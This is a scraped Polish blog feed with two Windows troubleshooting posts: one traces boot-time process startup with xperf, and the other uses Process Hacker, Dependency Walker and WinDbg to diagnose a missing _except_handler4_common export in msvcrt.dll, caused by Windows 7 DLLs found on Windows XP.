Quantcast
Channel: Zine.net online
Viewing all 54 articles
Browse latest View live

Start systemu a xperf

$
0
0

Nie tak dawno pisałem o tym w jaki sposób można z pomocą debuggera podłączonego do systemu sprawdzić jakie procesy są uruchamiane w trakcie startu systemu.
To samo można osiągnąć dużo prościej, bez konieczności sięgania po debugger, a jedynie korzystając z wbudowanych w system mechanizmów śledzenia oraz narzędzi z pakietu Windows Performance Toolkit.

Xperf

Wraz z pakietem WPA dostajemy do ręki potężne narzędzie - xperf. Liczę na to, że zagości ono na stałe na tym blogu, a dziś tylko krótka prezentacja.

1. Uruchamiamy wiersz poleceń w trybie administratora i wpisujemy polecenie:

>xperf -boottrace PROC_THREAD

2. Restartujemy system
3. Po ponownym załadowaniu systemu i zalogowaniu, uruchamiamy wiersz poleceń w trybie administratora i wpisujemy:

>xperf -stop -d c:\xperf\start.etl

4. W następnym kroku wyciągamy surową informację z pliku .etl:

>xperf -i start.etl -o start.txt -a dumper

5. Interesują nas tylko niektóre wiersze:

>findstr -i p-start start.txt > proc_start.txt

Wyniki

Poniżej wyniki z mojej testowej maszyny wirtualnej (tylko wybrane kolumny - dla porównania z tabelką z wpisu o PspInsertProcess)

TimeStampProcess Name ( PID)ParentPIDCommand Line
8089618smss.exe ( 248)4\SystemRoot\System32\smss.exe
8150117autochk.exe ( 260)248\??\C:\Windows\system32\autochk.exe *
11310817smss.exe ( 332)248\SystemRoot\System32\smss.exe 00000000 0000003c
18911078csrss.exe ( 340)332%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024
19509708smss.exe ( 384)248\SystemRoot\System32\smss.exe 00000001 0000003c
19522246csrss.exe ( 392)384%SystemRoot%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024
19538595wininit.exe ( 400)332wininit.exe
19614104winlogon.exe ( 436)384winlogon.exe
20331678services.exe ( 508)400C:\Windows\system32\services.exe
20610070lsass.exe ( 516)400C:\Windows\system32\lsass.exe
20668707lsm.exe ( 528)400C:\Windows\system32\lsm.exe
22002625svchost.exe ( 612)508C:\Windows\system32\svchost.exe -k DcomLaunch
23568568svchost.exe ( 688)508C:\Windows\system32\svchost.exe -k RPCSS
23757969svchost.exe ( 760)508C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
23791386LogonUI.exe ( 788)436"LogonUI.exe" /flags:0x0
24128489svchost.exe ( 848)508C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
24145591svchost.exe ( 876)508C:\Windows\system32\svchost.exe -k netsvcs
24607371audiodg.exe ( 952)760C:\Windows\system32\AUDIODG.EXE 0x2a8
25148740svchost.exe ( 268)508C:\Windows\system32\svchost.exe -k LocalService
25856763svchost.exe ( 500)508C:\Windows\system32\svchost.exe -k NetworkService
27216136spoolsv.exe (1084)508C:\Windows\System32\spoolsv.exe
27545680svchost.exe (1124)508C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
28308303svchost.exe (1228)508C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
29226111vmtoolsd.exe (1308)508"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"
31905368net.exe (1628)1308net start TPAutoConnSvc
31975698conhost.exe (1636)340\??\C:\Windows\system32\conhost.exe "57787392481200221421272673412820576901482399899-1455154938-178111874-1438855094"
32161353net1.exe (1648)1628C:\Windows\system32\net1 start TPAutoConnSvc
32274341TPAutoConnSvc.exe (1664)508"C:\Program Files\VMware\VMware Tools\TPAutoConnSvc.exe"
33905510dllhost.exe (1724)508C:\Windows\system32\dllhost.exe /Processid:{34073BCD-4E7C-4C25-BBE5-2D3679CD07B1}
34024629WmiPrvSE.exe (1764)612C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
34511042dllhost.exe (1832)508C:\Windows\system32\dllhost.exe /Processid:{02D4B3F1-FD88-11D1-960D-00805FC79235}
35057580msdtc.exe (1912)508C:\Windows\System32\msdtc.exe
35585342dllhost.exe (1944)612C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
35901466taskhost.exe (1144)508"taskhost.exe"
35991634AtBroker.exe (1252)436atbroker.exe
36287953userinit.exe ( 288)436C:\Windows\system32\userinit.exe
36349939dwm.exe (1600)848"C:\Windows\system32\Dwm.exe"
36666459explorer.exe (1324)288C:\Windows\Explorer.EXE
36699815VSSVC.exe ( 904)508C:\Windows\system32\vssvc.exe
38241555TPAutoConnect.exe (2184)1664TPAutoConnect.exe -q -i vmware -a COM1 -F 30
38284289conhost.exe (2192)392\??\C:\Windows\system32\conhost.exe "-1558231417-200611902017900411531422255762-65420305-605773138-787387489-533527805"
38916349VMwareTray.exe (2240)1324"C:\Program Files\VMware\VMware Tools\VMwareTray.exe"
38941857vmtoolsd.exe (2252)1324"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
44639163SearchIndexer.exe (2380)508C:\Windows\system32\SearchIndexer.exe /Embedding
46749317SearchProtocolHost.exe (2476)2380"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-580747136-2243477503-2994681153-10001_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-580747136-2243477503-2994681153-10001 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
46780436SearchFilterHost.exe (2496)2380"C:\Windows\system32\SearchFilterHost.exe" 0 516 520 528 65536 524
57573633consent.exe (2548)876consent.exe 876 280 000000000370FF60
59352814dllhost.exe (2612)612C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
59431635dllhost.exe (2648)612C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}
59444077cmd.exe (2680)1324"C:\Windows\system32\cmd.exe"
59447615conhost.exe (2688)392\??\C:\Windows\system32\conhost.exe "349026084-2119153282-1743135394203683670072670801-359851158-1327453597-368437469"
97535279xperf.exe (2788)2680xperf -stop -d c:\xperf\start\start.etl
97773181WmiPrvSE.exe (2820)612C:\Windows\system32\wbem\wmiprvse.exe -Embedding

Czasy podane są w mikrosekundach, łatwo więc zauważyć, że w okolicach 36 sekundy startuje explorer.exe.

A Wy jakie macie czasy? :)


Nie znaleziono punktu wejścia procedury _except_handler4_common w bibliotece msvcrt.dll

$
0
0

Dziś dwa słowa o ładowaniu bibliotek. A dokładniej - o dosyć wrednym problemie z tym związanym.

Rys1. Błąd "Nie znaleziono punktu wejścia procedury _except_handler4_common w bibliotece msvcrt.dll"

Bez większego wstępu przechodzimy od razu do sedna.

Przypadek 1: Statyczne dowiązanie.

Jako przykład weżmiemy RME 2.2, który po zainstalowaniu i uruchomieniu wita nas wspomnianym wcześniej komunikatem. Problem jest jednak na tyle ogólny, że opisaną w dalszej części metodę można z powodzeniem zastosować w innych tego typu przypadkach.

Mając ciągle wiszący komunikat błędu, uruchamiamy Process Hacker, przechodzimy do zakładki ‘Modules’ dla procesu RME.exe i zaczynamy przyglądać się modułom.

Rys2. Lista modułów załadowanych przez RME.exe

Ponieważ problem dotyczy biblioteki msvcrt.dll, to zaczynamy od sprawdzenia, czy faktycznie w załadowanej do pamięci procesu bibliotece msvcrt.dll nie ma wspomnianego eksportu:

Rys3. Lista eksportów msvcrt.dll

OK, wygląda na to, że faktycznie nie ma takiej funkcji eksportowanej w tej bibliotece. Przejrzyjmy zatem pozostałe biblioteki (nie ma ich wiele) i sprawdźmy, która z nich importuje nieszczęsną funkcję. Po kilku kliknięciach trafiamy na bibliotekę WSOCK32.dll

Rys4. Lista importów wsock32.dll

i wygląda na to, że mamy winowajcę. Okazuje się bowiem, że twórca aplikacji ‘omyłkowo’ dorzucił do katalogu aplikacji bibliotekę wsock32.dll ze swojego systemu (Windows 7 x86), która załadowana przy starcie aplikacji na Windows XP zgłasza tytułowy błąd.
Jako dodatkową wskazówkę możemy użyć Dependency Walkera, gdy załadujemy RME.exe do depends, to znajdziemy np. coś takiego:

***************************| Module Dependency Tree |***************************
*                                                                              *
* Legend: F  Forwarded Module   ?  Missing Module        6  64-bit Module      *
*         D  Delay Load Module  !  Invalid Module                              *
*         *  Dynamic Module     E  Import/Export Mismatch or Load Failure      *
*                               ^  Duplicate Module                            *
*                                                                              *
********************************************************************************

[   ] c:\rme\RME.EXE
     [   ] c:\rme\LIBXML2.DLL
          [ ^ ] c:\rme\WSOCK32.DLL
               [F^ ] c:\windows\system32\WS2_32.DLL
          [   ] c:\rme\ICONV.DLL
               [ ^ ] c:\windows\system32\MSVCRT.DLL
               [ ^ ] c:\windows\system32\KERNEL32.DLL
          [   ] c:\rme\ZLIB1.DLL
               [ ^ ] c:\windows\system32\KERNEL32.DLL
               [ ^ ] c:\windows\system32\MSVCRT.DLL
               [ ^ ] c:\windows\system32\MSVCRT.DLL
          [ ^ ] c:\windows\system32\KERNEL32.DLL
               [F^ ] c:\windows\system32\NTDLL.DLL
          [   ] c:\windows\system32\MSVCRT.DLL
               [ ^ ] c:\windows\system32\KERNEL32.DLL
                    [F^ ] c:\windows\system32\NTDLL.DLL
               [ ^ ] c:\windows\system32\NTDLL.DLL
     [   ] c:\rme\ARCHIVE.DLL
          [ ^ ] c:\windows\system32\KERNEL32.DLL
               [F^ ] c:\windows\system32\NTDLL.DLL
          [ ^ ] c:\windows\system32\USER32.DLL
          [ ^ ] c:\windows\system32\ADVAPI32.DLL
          [ ^ ] c:\rme\ZLIB1.DLL
          [ ^ ] c:\rme\ICONV.DLL
          [ ^ ] c:\rme\LIBXML2.DLL
          [ ^ ] c:\rme\MSVCR100.DLL
     [   ] c:\windows\system32\KERNEL32.DLL
          [ ^ ] c:\windows\system32\NTDLL.DLL
          [F^ ] c:\windows\system32\NTDLL.DLL
     [   ] c:\windows\system32\RPCRT4.DLL
          [ ^ ] c:\windows\system32\ADVAPI32.DLL
          [ ^ ] c:\windows\system32\KERNEL32.DLL
               [F^ ] c:\windows\system32\NTDLL.DLL
          [ ^ ] c:\windows\system32\NTDLL.DLL
          [ ^ ] c:\windows\system32\SECUR32.DLL
     [   ] c:\rme\WSOCK32.DLL
          [   ] c:\windows\system32\WS2_32.DLL
               [ ^ ] c:\windows\system32\ADVAPI32.DLL
               [ ^ ] c:\windows\system32\KERNEL32.DLL
                    [F^ ] c:\windows\system32\NTDLL.DLL
               [ ^ ] c:\windows\system32\MSVCRT.DLL
               [   ] c:\windows\system32\NTDLL.DLL
               [   ] c:\windows\system32\WS2HELP.DLL
                    [ ^ ] c:\windows\system32\ADVAPI32.DLL
                    [ ^ ] c:\windows\system32\KERNEL32.DLL
                         [F^ ] c:\windows\system32\NTDLL.DLL
                    [ ^ ] c:\windows\system32\NTDLL.DLL
                    [D^ ] c:\windows\system32\USER32.DLL
               [D^ ] c:\windows\system32\USER32.DLL
          [ E ] c:\windows\system32\MSVCRT.DLL
          [ ^ ] c:\windows\system32\KERNEL32.DLL
               [F^ ] c:\windows\system32\NTDLL.DLL
          [F^ ] c:\windows\system32\WS2_32.DLL

Co wskaże na problemy z powiązaniem rme.exe -> wsock32.dll -> msvcrt.dll

Zobaczmy teraz, jak powyższy błąd przedstawi nam się w zrzucie pamięci załadowanym w WinDbg.
Zaczynamy od klasycznego !analyze -v

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
+0
00000000 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00000000
   ExceptionCode: 80000003 (Break instruction exception)
  ExceptionFlags: 00000000
NumberParameters: 0

FAULTING_THREAD:  00000538

DEFAULT_BUCKET_ID:  STATUS_BREAKPOINT

PROCESS_NAME:  RME.exe

ERROR_CODE: (NTSTATUS) 0x80000003 - {WYJ

EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - Co najmniej jeden z argument w jest nieprawid owy.

NTGLOBALFLAG:  20000

APPLICATION_VERIFIER_FLAGS:  0

APP:  rme.exe

PRIMARY_PROBLEM_CLASS:  STATUS_BREAKPOINT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_BREAKPOINT

LAST_CONTROL_TRANSFER:  from 7c90d9ac to 7c90e4f4

STACK_TEXT: 
0012f334 7c90d9ac 7c940046 c0000139 00000002 ntdll!KiFastSystemCallRet
0012f338 7c940046 c0000139 00000002 00000003 ntdll!ZwRaiseHardError+0xc
0012f38c 7c91cfbc 77c00000 3fd13a3a 00d139cc ntdll!LdrpSnapThunk+0x36b
0012f410 7c91e57d 00252548 00252268 3fd13954 ntdll!LdrpSnapIAT+0x20e
0012f450 7c91e474 7ffde000 00020498 01252268 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
0012f470 7c91e5ae 7ffde000 00020498 00252268 ntdll!LdrpHandleNewFormatImportDescriptors+0x20
0012f4ec 7c91d7c6 00020498 00252268 100db7dc ntdll!LdrpWalkImportDescriptor+0x19e
0012f73c 7c91d2cd 00020498 100db9f0 10000000 ntdll!LdrpLoadImportModule+0x1c8
0012f76c 7c91d274 7ffde000 00020498 00252138 ntdll!LdrpHandleOneOldFormatImportDescriptor+0x5e
0012f784 7c91c1ce 7ffde000 00020498 00252138 ntdll!LdrpHandleOldFormatImportDescriptors+0x1f
0012f800 7c91d7c6 00020498 00252138 00851c8c ntdll!LdrpWalkImportDescriptor+0x19e
0012fa50 7c91d2cd 00020498 00852b5e 00400000 ntdll!LdrpLoadImportModule+0x1c8
0012fa80 7c91d274 7ffde000 00020498 00251ec0 ntdll!LdrpHandleOneOldFormatImportDescriptor+0x5e
0012fa98 7c91c1ce 7ffde000 00020498 00251ec0 ntdll!LdrpHandleOldFormatImportDescriptors+0x1f
0012fb14 7c921e25 00020498 00251ec0 7ffdd000 ntdll!LdrpWalkImportDescriptor+0x19e
0012fc94 7c92108f 0012fd30 7c900000 0012fce0 ntdll!LdrpInitializeProcess+0xe02
0012fd1c 7c90e437 0012fd30 7c900000 00000000 ntdll!_LdrpInitialize+0x183
00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7


FOLLOWUP_IP:
ntdll!KiFastSystemCallRet+0
7c90e4f4 c3              ret

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  ntdll!KiFastSystemCallRet+12f334

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: ntdll

IMAGE_NAME:  ntdll.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  48039211

STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s; .ecxr ; kb

FAILURE_BUCKET_ID:  STATUS_BREAKPOINT_80000003_ntdll.dll!KiFastSystemCallRet

BUCKET_ID:  APPLICATION_FAULT_STATUS_BREAKPOINT_ntdll!KiFastSystemCallRet+12f334

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/RME_exe/0_0_0_0/4ffebbf3/unknown/0_0_0_0/bbbbbbb4/80000003/00000000.htm?Retriage=1

Followup: MachineOwner
---------

Zgłoszony wyjątek nie mówi nam za wiele. Skupmy się zatem na stosie wywołań.

0:000> kbn
 # ChildEBP RetAddr  Args to Child             
00 0012f334 7c90d9ac 7c940046 c0000139 00000002 ntdll!KiFastSystemCallRet
01 0012f338 7c940046 c0000139 00000002 00000003 ntdll!ZwRaiseHardError+0xc
02 0012f38c 7c91cfbc 77c000003fd13a3a 00d139cc ntdll!LdrpSnapThunk+0x36b
03 0012f410 7c91e57d 00252548 00252268 3fd13954 ntdll!LdrpSnapIAT+0x20e
04 0012f450 7c91e474 7ffde000 00020498 01252268 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
05 0012f470 7c91e5ae 7ffde000 00020498 00252268 ntdll!LdrpHandleNewFormatImportDescriptors+0x20
06 0012f4ec 7c91d7c6 00020498 00252268 100db7dc ntdll!LdrpWalkImportDescriptor+0x19e
07 0012f73c 7c91d2cd 00020498 100db9f0 10000000 ntdll!LdrpLoadImportModule+0x1c8
08 0012f76c 7c91d274 7ffde000 00020498 00252138 ntdll!LdrpHandleOneOldFormatImportDescriptor+0x5e
09 0012f784 7c91c1ce 7ffde000 00020498 00252138 ntdll!LdrpHandleOldFormatImportDescriptors+0x1f
0a 0012f800 7c91d7c6 00020498 00252138 00851c8c ntdll!LdrpWalkImportDescriptor+0x19e
0b 0012fa50 7c91d2cd 00020498 00852b5e 00400000 ntdll!LdrpLoadImportModule+0x1c8
0c 0012fa80 7c91d274 7ffde000 00020498 00251ec0 ntdll!LdrpHandleOneOldFormatImportDescriptor+0x5e
0d 0012fa98 7c91c1ce 7ffde000 00020498 00251ec0 ntdll!LdrpHandleOldFormatImportDescriptors+0x1f
0e 0012fb14 7c921e25 00020498 00251ec0 7ffdd000 ntdll!LdrpWalkImportDescriptor+0x19e
0f 0012fc94 7c92108f 0012fd30 7c900000 0012fce0 ntdll!LdrpInitializeProcess+0xe02
10 0012fd1c 7c90e437 0012fd30 7c900000 00000000 ntdll!_LdrpInitialize+0x183
11 00000000 00000000 00000000 00000000 00000000 ntdll!KiUserApcDispatcher+0x7

W ramce 03 widzimy wywołanie ntdll!LdrpSnapIAT, co podpowiada nam odniesienie do tablicy importów (Import Address Table - IAT), a przyglądając się bliżej parametrom przekazanym do ntdll!LdrpSnapThunk (ramka 02):

0:000> !address77c00000
Usage:                  Image
Base Address:           77c00000
End Address:            77c01000
Region Size:            00001000
State:                  <info not present at the target>
Protect:                <info not present at the target>
Type:                   <info not present at the target>
Allocation Base:        <info not present at the target>
Allocation Protect:     <info not present at the target>
Image Path:             C:\WINDOWS\system32\msvcrt.dll
Module Name:            msvcrt
Loaded Image Name:      msvcrt.dll
Mapped Image Name:     
More info:              lmv m msvcrt
More info:              !lmi msvcrt
More info:              ln 0x77c00000
More info:              !dh 0x77c00000
0:000> da3fd13a3a
3fd13a3a  "_except_handler4_common"

już nie mamy wątpliwości, że chodzi o załadowaną bibliotekę msvcrt.dll i eksport _except_handler4_common

Gdy przyjrzymy się parametrom w ramach ramki 07:
07 0012f73c 7c91d2cd 00020498 100db9f0 10000000 ntdll!LdrpLoadImportModule+0x1c8

0:000> da100db9f0
100db9f0  "WSOCK32.dll"

oraz nieco niżej na stosie ramki 0b:
0b 0012fa50 7c91d2cd 00020498 00852b5e 00400000 ntdll!LdrpLoadImportModule+0x1c8

0:000> da 00852b5e
00852b5e  "libxml2.dll"

to widzimy, że loader załadował najpierw bibliotekę libxml2.dll, po czym - na podstawie tablicy importów - kolejną wsock32.dll, aby w końcu próbować znaleźć tytułowe dowiązanie w załadowanej już bibliotece msvcrt.dll i na tym polec.

Gdy spojrzymy na stos w poszukiwaniu symboli:

0:000> dps @esp @esp+100
0012f338  7c90d9ac ntdll!ZwRaiseHardError+0xc
0012f33c  7c940046 ntdll!LdrpSnapThunk+0x36b
0012f340  c0000139
0012f344  00000002
0012f348  00000003
0012f34c  0012f364
0012f350  00000001
0012f354  0012f3ac
0012f358  3fd139cc WSOCK32!$$VProc_ImageExportDirectory+0x1dec
0012f35c  00252268
0012f360  3fd139a0 WSOCK32!$$VProc_ImageExportDirectory+0x1dc0
0012f364  0012f380
0012f368  0012f378
0012f36c  3fd10000 WSOCK32!_imp__InterlockedExchange <PERF> (WSOCK32+0x0)
0012f370  00180017
0012f374  3fd13a3a WSOCK32!_NULL_IMPORT_DESCRIPTOR+0xe8
0012f378  00160014
0012f37c  00153318
0012f380  0030002e
0012f384  00153338
0012f388  00000159
0012f38c  0012f410
0012f390  7c91cfbc ntdll!LdrpSnapIAT+0x20e
0012f394  77c00000 msvcrt!_imp__MultiByteToWideChar <PERF> (msvcrt+0x0)
0012f398  3fd13a3a WSOCK32!_NULL_IMPORT_DESCRIPTOR+0xe8
0012f39c  00d139cc
0012f3a0  3fd11014 WSOCK32!_imp___except_handler4_common
0012f3a4  3fd13a3a WSOCK32!_NULL_IMPORT_DESCRIPTOR+0xe8
0012f3a8  00004326
0012f3ac  00000001
0012f3b0  3fd139a0 WSOCK32!$$VProc_ImageExportDirectory+0x1dc0
0012f3b4  3fd139a0 WSOCK32!$$VProc_ImageExportDirectory+0x1dc0
0012f3b8  00252268
0012f3bc  3fd13954 WSOCK32!$$VProc_ImageExportDirectory+0x1d74
0012f3c0  00000000
0012f3c4  3fd15000 WSOCK32!__dyn_tls_init_callback+0x988
0012f3c8  00000001
0012f3cc  77c48a10 msvcrt!_NULL_IMPORT_DESCRIPTOR+0xde0
0012f3d0  3fd139cc WSOCK32!$$VProc_ImageExportDirectory+0x1dec
0012f3d4  3fd139a0 WSOCK32!$$VProc_ImageExportDirectory+0x1dc0
0012f3d8  3fd102ab WSOCK32!_imp__InterlockedExchange <PERF> (WSOCK32+0x2ab)
0012f3dc  00001000
0012f3e0  00000020
0012f3e4  3fd11014 WSOCK32!_imp___except_handler4_common
0012f3e8  00004326
0012f3ec  00000068
0012f3f0  00000000
0012f3f4  3fd11000 WSOCK32!_imp__WSARecv
0012f3f8  0012f3b4
0012f3fc  00000001
0012f400  0012f4dc
0012f404  7c90e900 ntdll!_except_handler3
0012f408  7c91d008 ntdll!`string'+0x7c
0012f40c  00000001
0012f410  0012f450
0012f414  7c91e57d ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
0012f418  00252548
0012f41c  00252268
0012f420  3fd13954 WSOCK32!$$VProc_ImageExportDirectory+0x1d74
0012f424  00000000
0012f428  00000001
0012f42c  3fd10280 WSOCK32!_imp__InterlockedExchange <PERF> (WSOCK32+0x280)
0012f430  7ffde000
0012f434  00000050
0012f438  3fd102ab WSOCK32!_imp__InterlockedExchange <PERF> (WSOCK32+0x2ab)

to okazuje się, że mamy interesujący:

0012f3e4  3fd11014 WSOCK32!_imp___except_handler4_common

Przypadek 2 - linkowanie dynamiczne

Poprzedni przypadek był zlokalizowany do katalogu aplikacji i proste usunięcie zbędnych bibliotek (wsock32.dll i innych wziętych z systemu twórcy) rozwiązywało problem, nie powodując przy tym komplikacji w przypadku innych programów. Czasem jednak jeden nadgorliwy instalator wrzuca jakieś moduły do katalogów współdzielonych i wówczas wszystkie aplikacje są narażone na problemy. Tak jest w przypadku kolejnej aplikacji, która po uruchomieniu zgłasza błąd z Rys1., jednak przeglądanie programu z użyciem Dependency Walkera nic nam nie da, bowiem aplikacja korzysta z ręcznego ładowania (LoadLibrary, GetProcAddress - ale nie jako opcja /delayload linkera!).
Tym razem mamy do dyspozycji jedynie dump aplikacji, pochodzący również z Windows XP, zajrzyjmy zatem do środka.
Zaczynamy oczywiście od !analyze -v

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP:
+0
00000000 ??              ???

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00000000
   ExceptionCode: 80000003 (Break instruction exception)
  ExceptionFlags: 00000000
NumberParameters: 0

FAULTING_THREAD:  00000568

DEFAULT_BUCKET_ID:  STATUS_BREAKPOINT

PROCESS_NAME:  worldoftanks.exe

ERROR_CODE: (NTSTATUS) 0x80000003 - {WYJ

EXCEPTION_CODE: (HRESULT) 0x80000003 (2147483651) - Co najmniej jeden z argument w jest nieprawid owy.

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

APP:  worldoftanks.exe

PRIMARY_PROBLEM_CLASS:  STATUS_BREAKPOINT

BUGCHECK_STR:  APPLICATION_FAULT_STATUS_BREAKPOINT

LAST_CONTROL_TRANSFER:  from 7c90d9ca to 7c90e514

STACK_TEXT: 
0012dfa0 7c90d9ca 7c941d26 c0000139 00000002 ntdll!KiFastSystemCallRet
0012dfa4 7c941d26 c0000139 00000002 00000003 ntdll!ZwRaiseHardError+0xc
0012dff8 7c91c0bc 77c00000 153415bc 00341284 ntdll!LdrpSnapThunk+0x36b
0012e07c 7c9247a4 00262590 00264bf8 15341158 ntdll!LdrpSnapIAT+0x20e
0012e0bc 7c92469b 7ffd4000 001a8080 01264bf8 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
0012e0dc 7c9247d5 7ffd4000 001a8080 00264bf8 ntdll!LdrpHandleNewFormatImportDescriptors+0x20
0012e158 7c916227 001a8080 00264bf8 c0150008 ntdll!LdrpWalkImportDescriptor+0x19e
0012e408 7c91643d 00000000 001a8080 0012e72c ntdll!LdrpLoadDll+0x24e
0012e6b0 64d07cb0 001a8080 0012e72c 0012e6d8 ntdll!LdrLoadDll+0x230
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e6e0 7c801bbd 001a8080 0012e72c 0012e70c snxhk+0x7cb0
0012e748 7c80aefc 00f38c14 00000000 00000000 kernel32!LoadLibraryExW+0x18e
0012e75c 006d32cc 00f38c14 0019f360 052ba1e0 kernel32!LoadLibraryW+0x11
0012e938 006d4415 00906d24 50087b94 052ba330 worldoftanks+0x2d32cc
00000000 00000000 00000000 00000000 00000000 worldoftanks+0x2d4415


STACK_COMMAND:  ~0s; .ecxr ; kb

FOLLOWUP_IP:
snxhk+7cb0
64d07cb0 8bd8            mov     ebx,eax

SYMBOL_STACK_INDEX:  9

SYMBOL_NAME:  snxhk+7cb0

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: snxhk

IMAGE_NAME:  snxhk.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  4ed3ca80

FAILURE_BUCKET_ID:  STATUS_BREAKPOINT_80000003_snxhk.dll!Unknown

BUCKET_ID:  APPLICATION_FAULT_STATUS_BREAKPOINT_snxhk+7cb0

WATSON_STAGEONE_URL:  http://watson.microsoft.com/StageOne/worldoftanks_exe/0_8_0_0/505b52ff/unknown/0_0_0_0/bbbbbbb4/80000003/00000000.htm?Retriage=1

Followup: MachineOwner
---------

Wyjątek jest identyczny z tym opisanym poprzednio i znów nie mówi nam za dużo. Dodatkowo wskazanie na hook Avasta kieruje nas nieco na manowce - to nie AV jest tu winien. No cóż - zaglądamy zatem ponownie do stosu wywołań:

0:000> kbn
 # ChildEBP RetAddr  Args to Child             
00 0012dfa0 7c90d9ca 7c941d26 c0000139 00000002 ntdll!KiFastSystemCallRet
01 0012dfa4 7c941d26 c0000139 00000002 00000003 ntdll!ZwRaiseHardError+0xc
02 0012dff8 7c91c0bc 77c00000153415bc 00341284 ntdll!LdrpSnapThunk+0x36b
03 0012e07c 7c9247a4 00262590 00264bf8 15341158 ntdll!LdrpSnapIAT+0x20e
04 0012e0bc 7c92469b 7ffd4000 001a8080 01264bf8 ntdll!LdrpHandleOneNewFormatImportDescriptor+0x25e
05 0012e0dc 7c9247d5 7ffd4000 001a8080 00264bf8 ntdll!LdrpHandleNewFormatImportDescriptors+0x20
06 0012e158 7c916227 001a8080 00264bf8 c0150008 ntdll!LdrpWalkImportDescriptor+0x19e
07 0012e408 7c91643d 00000000 001a8080 0012e72c ntdll!LdrpLoadDll+0x24e
08 0012e6b0 64d07cb0 001a8080 0012e72c 0012e6d8 ntdll!LdrLoadDll+0x230
WARNING: Stack unwind information not available. Following frames may be wrong.
09 0012e6e0 7c801bbd 001a8080 0012e72c 0012e70c snxhk+0x7cb0
0a 0012e748 7c80aefc 00f38c14 00000000 00000000 kernel32!LoadLibraryExW+0x18e
0b 0012e75c 006d32cc 00f38c14 0019f360 052ba1e0 kernel32!LoadLibraryW+0x11
0c 0012e938 006d4415 00906d24 50087b94 052ba330 worldoftanks+0x2d32cc
0d 00000000 00000000 00000000 00000000 00000000 worldoftanks+0x2d4415

Mając w pamięci poprzedni przykład, sięgamy do ramki 02 i sprawdzamy parametry funkcji:
02 0012dff8 7c91c0bc 77c00000 153415bc 00341284 ntdll!LdrpSnapThunk+0x36b


0:000> !address 77c00000
Usage:                  Image
Base Address:           77c00000
End Address:            77c01000
Region Size:            00001000
State:                  <info not present at the target>
Protect:                <info not present at the target>
Type:                   <info not present at the target>
Allocation Base:        <info not present at the target>
Allocation Protect:     <info not present at the target>
Image Path:             C:\WINDOWS\system32\msvcrt.dll
Module Name:            msvcrt
Loaded Image Name:      msvcrt.dll
Mapped Image Name:     
More info:              lmv m msvcrt
More info:              !lmi msvcrt
More info:              ln 0x77c00000
More info:              !dh 0x77c00000

0:000> da 153415bc
153415bc  "_except_handler4_common"

A zatem tak - chodzi o tytułową funkcję w tytułowej bibliotece. Tu ścieżka wywołania jest jednak nieco inna, mamy bowiem ramkę 0b i parametr (LoadLibraryW w wersji ‘szerokiej’ ):
0b 0012e75c 006d32cc 00f38c14 0019f360 052ba1e0 kernel32!LoadLibraryW+0x11

0:000> du 00f38c14
00f38c14  "dxgi.dll"

Ha! Zatem mamy ładowaną bibliotekę dxgi.dll, która w swoich importach ma odwołanie do tytułowego eksportu. Szczegóły załadowanej biblioteki:

0:000> lmvm dxgi
start    end        module name
152d0000 15353000   dxgi       (pdb symbols)          c:\websymbols\dxgi.pdb\4A1CA5EC045640D3BA7D60DDEE0B2FBF2\dxgi.pdb
    Loaded symbol image file: dxgi.dll
    Image path: C:\WINDOWS\system32\dxgi.dll
    Image name: dxgi.dll
    Timestamp:        Tue Jul 14 03:06:20 2009 (4A5BDA0C)
    CheckSum:         00081E01
    ImageSize:        00083000
    File version:     6.1.7600.16385
    Product version:  6.1.7600.16385
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        2.0 Dll
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Microsoft Corporation
    ProductName:      Microsoft® Windows® Operating System
    InternalName:     dxgi.dll
    OriginalFilename: dxgi.dll
    ProductVersion:   6.1.7600.16385
